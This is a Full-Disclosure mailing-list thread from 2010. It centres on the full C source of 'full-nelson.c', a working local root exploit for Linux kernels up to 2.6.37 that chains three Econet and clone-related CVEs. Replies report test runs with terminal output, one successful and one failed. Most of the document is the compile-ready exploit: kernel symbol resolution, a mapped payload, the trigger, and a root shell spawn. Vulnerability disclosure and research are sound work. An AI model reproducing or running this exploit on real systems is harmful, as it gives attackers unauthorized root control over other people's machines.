Re: Linux kernel exploit

[Guillaume Friloux <guillaume.friloux () asp64 com>]

Doesnt work here on Ubuntu 10.10 (VirtualBox) clean install (but with 
all updates) with only an “apt-get install build-essential”

kuri@kuri-VirtualBox:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=10.10
DISTRIB_CODENAME=maverick
DISTRIB_DESCRIPTION="Ubuntu 10.10"
kuri@kuri-VirtualBox:~$ uname -a
Linux kuri-VirtualBox 2.6.35-23-generic #41-Ubuntu SMP Wed Nov 24 
10:18:49 UTC 2010 i686 GNU/Linux
kuri@kuri-VirtualBox:~$ gcc -o exploit exploit.c
kuri@kuri-VirtualBox:~$ ./exploit
[*] Resolving kernel addresses...
[+] Resolved econet_ioctl to 0xf81ca340
[+] Resolved econet_ops to 0xf81ca440
[+] Resolved commit_creds to 0xc016c8d0
[+] Resolved prepare_kernel_cred to 0xc016cd20
[*] Calculating target...
[*] Triggering payload...
[*] Exploit failed to get root.
kuri@kuri-VirtualBox:~$

On 07/12/2010 22:21, Ryan Sears wrote:
> Yep, just tested it in an Ubuntu 10.10 sandbox I have (running kernel 2.6.35-22-generic). Works as expected.
>
> Great job Dan. You're full of win!
>
> Regards,
> Ryan Sears
> ----- Original Message -----
> From: "Cal Leeming [Simplicity Media Ltd]"<cal.leeming () simplicitymedialtd co uk>
> To: "Dan Rosenberg"<dan.j.rosenberg () gmail com>
> Cc: full-disclosure () lists grok org uk, bugtraq () securityfocus com
> Sent: Tuesday, December 7, 2010 4:06:44 PM GMT -05:00 US/Canada Eastern
> Subject: Re: [Full-disclosure] Linux kernel exploit
>
> Anyone tested this in sandbox yet?
>
> On 07/12/2010 20:25, Dan Rosenberg wrote:
> > Hi all,
> >
> > I've included here a proof-of-concept local privilege escalation exploit
> > for Linux.  Please read the header for an explanation of what's going
> > on.  Without further ado, I present full-nelson.c:
> >
> > Happy hacking,
> > Dan
> >
> >
> > --snip--
> >
> > /*
> >    * Linux Kernel<= 2.6.37 local privilege escalation
> >    * by Dan Rosenberg
> >    * @djrbliss on twitter
> >    *
> >    * Usage:
> >    * gcc full-nelson.c -o full-nelson
> >    * ./full-nelson
> >    *
> >    * This exploit leverages three vulnerabilities to get root, all of which were
> >    * discovered by Nelson Elhage:
> >    *
> >    * CVE-2010-4258
> >    * -------------
> >    * This is the interesting one, and the reason I wrote this exploit.  If a
> >    * thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL
> >    * word will be written to a user-specified pointer when that thread exits.
> >    * This write is done using put_user(), which ensures the provided destination
> >    * resides in valid userspace by invoking access_ok().  However, Nelson
> >    * discovered that when the kernel performs an address limit override via
> >    * set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault,
> >    * etc.), this override is not reverted before calling put_user() in the exit
> >    * path, allowing a user to write a NULL word to an arbitrary kernel address.
> >    * Note that this issue requires an additional vulnerability to trigger.
> >    *
> >    * CVE-2010-3849
> >    * -------------
> >    * This is a NULL pointer dereference in the Econet protocol.  By itself, it's
> >    * fairly benign as a local denial-of-service.  It's a perfect candidate to
> >    * trigger the above issue, since it's reachable via sock_no_sendpage(), which
> >    * subsequently calls sendmsg under KERNEL_DS.
> >    *
> >    * CVE-2010-3850
> >    * -------------
> >    * I wouldn't be able to reach the NULL pointer dereference and trigger the
> >    * OOPS if users weren't able to assign Econet addresses to arbitrary
> >    * interfaces due to a missing capabilities check.
> >    *
> >    * In the interest of public safety, this exploit was specifically designed to
> >    * be limited:
> >    *
> >    *  * The particular symbols I resolve are not exported on Slackware or Debian
> >    *  * Red Hat does not support Econet by default
> >    *  * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and
> >    *    Debian
> >    *
> >    * However, the important issue, CVE-2010-4258, affects everyone, and it would
> >    * be trivial to find an unpatched DoS under KERNEL_DS and write a slightly
> >    * more sophisticated version of this that doesn't have the roadblocks I put in
> >    * to prevent abuse by script kiddies.
> >    *
> >    * Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64.
> >    *
> >    * NOTE: the exploit process will deadlock and stay in a zombie state after you
> >    * exit your root shell because the Econet thread OOPSes while holding the
> >    * Econet mutex.  It wouldn't be too hard to fix this up, but I didn't bother.
> >    *
> >    * Greets to spender, taviso, stealth, pipacs, jono, kees, and bla
> >    */
> >
> > #include<stdio.h>
> > #include<sys/socket.h>
> > #include<fcntl.h>
> > #include<sys/ioctl.h>
> > #include<string.h>
> > #include<net/if.h>
> > #include<sched.h>
> > #include<stdlib.h>
> > #include<signal.h>
> > #include<sys/utsname.h>
> > #include<sys/mman.h>
> > #include<unistd.h>
> >
> > /* How many bytes should we clear in our
> >    * function pointer to put it into userspace? */
> > #ifdef __x86_64__
> > #define SHIFT 24
> > #define OFFSET 3
> > #else
> > #define SHIFT 8
> > #define OFFSET 1
> > #endif
> >
> > /* thanks spender... */
> > unsigned long get_kernel_sym(char *name)
> > {
> >         FILE *f;
> >         unsigned long addr;
> >         char dummy;
> >         char sname[512];
> >         struct utsname ver;
> >         int ret;
> >         int rep = 0;
> >         int oldstyle = 0;
> >
> >         f = fopen("/proc/kallsyms", "r");
> >         if (f == NULL) {
> >                 f = fopen("/proc/ksyms", "r");
> >                 if (f == NULL)
> >                         goto fallback;
> >                 oldstyle = 1;
> >         }
> >
> > repeat:
> >         ret = 0;
> >         while(ret != EOF) {
> >                 if (!oldstyle)
> >                         ret = fscanf(f, "%p %c %s\n", (void **)&addr,&dummy, sname);
> >                 else {
> >                         ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
> >                         if (ret == 2) {
> >                                 char *p;
> >                                 if (strstr(sname, "_O/") || strstr(sname, "_S."))
> >                                         continue;
> >                                 p = strrchr(sname, '_');
> >                                 if (p>   ((char *)sname + 5)&&   !strncmp(p - 3, "smp", 3)) {
> >                                         p = p - 4;
> >                                         while (p>   (char *)sname&&   *(p - 1) == '_')
> >                                                 p--;
> >                                         *p = '\0';
> >                                 }
> >                         }
> >                 }
> >                 if (ret == 0) {
> >                         fscanf(f, "%s\n", sname);
> >                         continue;
> >                 }
> >                 if (!strcmp(name, sname)) {
> >                         fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : 
> > "");
> >                         fclose(f);
> >                         return addr;
> >                 }
> >         }
> >
> >         fclose(f);
> >         if (rep)
> >                 return 0;
> > fallback:
> >         uname(&ver);
> >         if (strncmp(ver.release, "2.6", 3))
> >                 oldstyle = 1;
> >         sprintf(sname, "/boot/System.map-%s", ver.release);
> >         f = fopen(sname, "r");
> >         if (f == NULL)
> >                 return 0;
> >         rep = 1;
> >         goto repeat;
> > }
> >
> > typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
> > typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
> > _commit_creds commit_creds;
> > _prepare_kernel_cred prepare_kernel_cred;
> >
> > static int __attribute__((regparm(3)))
> > getroot(void * file, void * vma)
> > {
> >
> >           commit_creds(prepare_kernel_cred(0));
> >           return -1;
> >
> > }
> >
> > /* Why do I do this?  Because on x86-64, the address of
> >    * commit_creds and prepare_kernel_cred are loaded relative
> >    * to rip, which means I can't just copy the above payload
> >    * into my landing area. */
> > void __attribute__((regparm(3)))
> > trampoline()
> > {
> >
> > #ifdef __x86_64__
> >         asm("mov $getroot, %rax; call *%rax;");
> > #else
> >         asm("mov $getroot, %eax; call *%eax;");
> > #endif
> >
> > }
> >
> > /* Triggers a NULL pointer dereference in econet_sendmsg
> >    * via sock_no_sendpage, so it's under KERNEL_DS */
> > int trigger(int * fildes)
> > {
> >         int ret;
> >         struct ifreq ifr;
> >
> >         memset(&ifr, 0, sizeof(ifr));
> >         strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);
> >
> >         ret = ioctl(fildes[2], SIOCSIFADDR,&ifr);
> >
> >         if(ret<   0) {
> >                 printf("[*] Failed to set Econet address.\n");
> >                 return -1;
> >         }
> >
> >         splice(fildes[3], NULL, fildes[1], NULL, 128, 0);
> >         splice(fildes[0], NULL, fildes[2], NULL, 128, 0);
> >
> >         /* Shouldn't get here... */
> >         exit(0);
> > }
> >
> > int main(int argc, char * argv[])
> > {
> >         unsigned long econet_ops, econet_ioctl, target, landing;
> >         int fildes[4], pid;
> >         void * newstack, * payload;
> >
> >         /* Create file descriptors now so there are two
> >            references to them after cloning...otherwise
> >            the child will never return because it
> >            deadlocks when trying to unlock various
> >            mutexes after OOPSing */
> >         pipe(fildes);
> >         fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0);
> >         fildes[3] = open("/dev/zero", O_RDONLY);
> >
> >         if(fildes[0]<   0 || fildes[1]<   0 || fildes[2]<   0 || fildes[3]<   0) {
> >                 printf("[*] Failed to open file descriptors.\n");
> >                 return -1;
> >         }
> >
> >         /* Resolve addresses of relevant symbols */
> >         printf("[*] Resolving kernel addresses...\n");
> >         econet_ioctl = get_kernel_sym("econet_ioctl");
> >         econet_ops = get_kernel_sym("econet_ops");
> >         commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
> >         prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
> >
> >         if(!econet_ioctl || !commit_creds || !prepare_kernel_cred || !econet_ops) {
> >                 printf("[*] Failed to resolve kernel symbols.\n");
> >                 return -1;
> >         }
> >
> >         if(!(newstack = malloc(65536))) {
> >                 printf("[*] Failed to allocate memory.\n");
> >                 return -1;
> >         }
> >
> >         printf("[*] Calculating target...\n");
> >         target = econet_ops + 10 * sizeof(void *) - OFFSET;
> >
> >         /* Clear the higher bits */
> >         landing = econet_ioctl<<   SHIFT>>   SHIFT;
> >
> >         payload = mmap((void *)(landing&   ~0xfff), 2 * 4096,
> >                        PROT_READ | PROT_WRITE | PROT_EXEC,
> >                        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
> >
> >         if ((long)payload == -1) {
> >                 printf("[*] Failed to mmap() at target address.\n");
> >                 return -1;
> >         }
> >
> >         memcpy((void *)landing,&trampoline, 1024);
> >
> >         clone((int (*)(void *))trigger,
> >               (void *)((unsigned long)newstack + 65536),
> >               CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
> >         &fildes, NULL, NULL, target);
> >
> >         sleep(1);
> >
> >         printf("[*] Triggering payload...\n");
> >         ioctl(fildes[2], 0, NULL);
> >
> >         if(getuid()) {
> >                 printf("[*] Exploit failed to get root.\n");
> >                 return -1;
> >         }
> >
> >         printf("[*] Got root!\n");
> >         execl("/bin/sh", "/bin/sh", NULL);
> > }
> >
> >
> > _______________________________________________
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> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/

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Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/